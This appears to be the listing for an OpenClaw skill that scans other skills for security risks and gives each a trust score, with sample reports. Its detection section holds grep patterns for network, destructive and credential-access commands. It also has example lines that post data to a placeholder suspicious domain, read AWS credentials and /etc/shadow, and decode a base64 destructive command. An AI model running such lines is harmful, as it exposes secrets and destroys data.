Install
openclaw skills install skill-security-scannerScan OpenClaw skills for security risks, suspicious permissions, and provide a trust score to help evaluate skill safety before use or installation.
openclaw skills install skill-security-scannerScan OpenClaw skills for security issues, suspicious patterns, and give a trust score. Helps users make informed decisions about which skills to trust.
| Command | Purpose |
|---|---|
scan-skill <path> | Scan a single skill |
scan-all | Scan all skills in workspace |
trust-score <path> | Get quick trust score (0-100) |
list-permissions <path> | List all requested permissions |
Look for:
bins - CLI tools skill needsenv - Environment variables (API keys, tokens)requires.config - Required config settingsrequires.bins - Binary dependenciesRed flags:
Suspicious patterns to detect:
# Network calls to unknown domains
grep -E "(curl|wget|http|https).*\.com" SKILL.md
grep -E "fetch\(|axios\(" SKILL.md
# File system access beyond declared scope
grep -E "rm -rf|dd |mkfs" SKILL.md
# Credential access
grep -E "password|secret|token|key" SKILL.md
# Execution of downloaded code
grep -E "eval\(|exec\(|system\(" SKILL.md
# Base64 encoded commands
grep -E "base64|-enc|-encode" SKILL.md
Score from 0-100 based on:
| Factor | Weight | Criteria |
|---|---|---|
| Author reputation | 20% | Known author? Official OpenClaw skill? |
| Permission scope | 30% | Minimal bins/envs? |
| Code patterns | 25% | No suspicious commands |
| Update frequency | 15% | Recently updated? |
| Download count | 10% | Popular = more scrutiny |
| Score | Risk | Action |
|---|---|---|
| 80-100 | 🟢 Low | Safe to use |
| 60-79 | 🟡 Medium | Review before use |
| 40-59 | 🟠 High | Use with caution |
| 0-39 | 🔴 Critical | Don't use |
🔍 Skill: <skill-name>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: <score>/100 (<risk-level>)
📋 Permissions Requested:
• bins: curl, jq
• env: OPENWEATHER_API_KEY
⚠️ Issues Found:
1. [MEDIUM] Requests network access but no clear purpose
2. [LOW] No recent updates (6+ months)
✅ Positive Signs:
• Official OpenClaw skill
• Clear documentation
Generate a full report:
## Security Analysis: <skill-name>
### Score: <score>/100 (<risk-level>)
### Permissions Analysis
| Type | Requested | Risk |
|------|-----------|------|
| bins | curl, jq | Low |
| env | API_KEY | Medium |
### Code Pattern Analysis
- ✅ No suspicious execution patterns
- ✅ No credential access attempts
- ⚠️ 2 network calls to external domains
### Recommendation
<RECOMMENDATION>
Network exfiltration
# Example: sending data to unknown servers
# curl -X POST https://SUSPICIOUS-DOMAIN/exfil
# fetch("https://data-collector.DOMAIN")
Credential harvesting
# Example: reading credentials
# cat ~/.aws/credentials
# grep "password" /etc/shadow
Persistence mechanisms
# Example: auto-start, cron, systemd
# sudo crontab -l
# systemctl enable
Obfuscated code
# Example: base64 encoded commands
echo "c3VkbyByb20gL3J0ZiAv" | base64 -d
# 1. Get skill path (ClawHub or local)
# 2. Run full scan
scan-skill /path/to/skill
# 3. Check trust score
trust-score /path/to/skill
# 4. Review issues
# 5. Decide: install / skip / investigate more
# Weekly: scan all installed skills
scan-all
# Monthly: generate full report
# Save to .learnings/ for documentation
# For quick decision
trust-score <path>
# If score < 60, do full scan
# If score < 40, don't use
.learnings/User wants to install "cool-new-skill" from ClawHub:
> scan-skill ./skills/cool-new-skill
🔍 Scanning: cool-new-skill
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: 72/100 (🟡 Medium)
📋 Permissions:
• bins: none
• env: none
⚠️ Issues:
• No recent updates (8 months)
• Unknown author
✅ Positives:
• Clear documentation
• Minimal permissions
💡 Recommendation: Safe to try, monitor usage
> scan-skill ./skills/suspicious-skill
🔍 Scanning: suspicious-skill
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: 23/100 (🔴 CRITICAL)
📋 Permissions:
• bins: curl, base64
• env: API_KEY, SECRET_TOKEN
🚨 CRITICAL ISSUES FOUND:
1. Network exfiltration pattern detected
2. Credential access attempt
3. Obfuscated commands (base64)
💀 Recommendation: DO NOT USE - Potential malware
> scan-all
📋 Scanning all skills in ~/.openclaw/workspace/skills/
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ github: 95/100 (safe)
⚠️ todoist: 68/100 (review needed)
✅ self-improving-agent: 92/100 (safe)
🔴 unknown-skill: 34/100 (remove recommended)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Summary: 2 safe, 1 review, 1 remove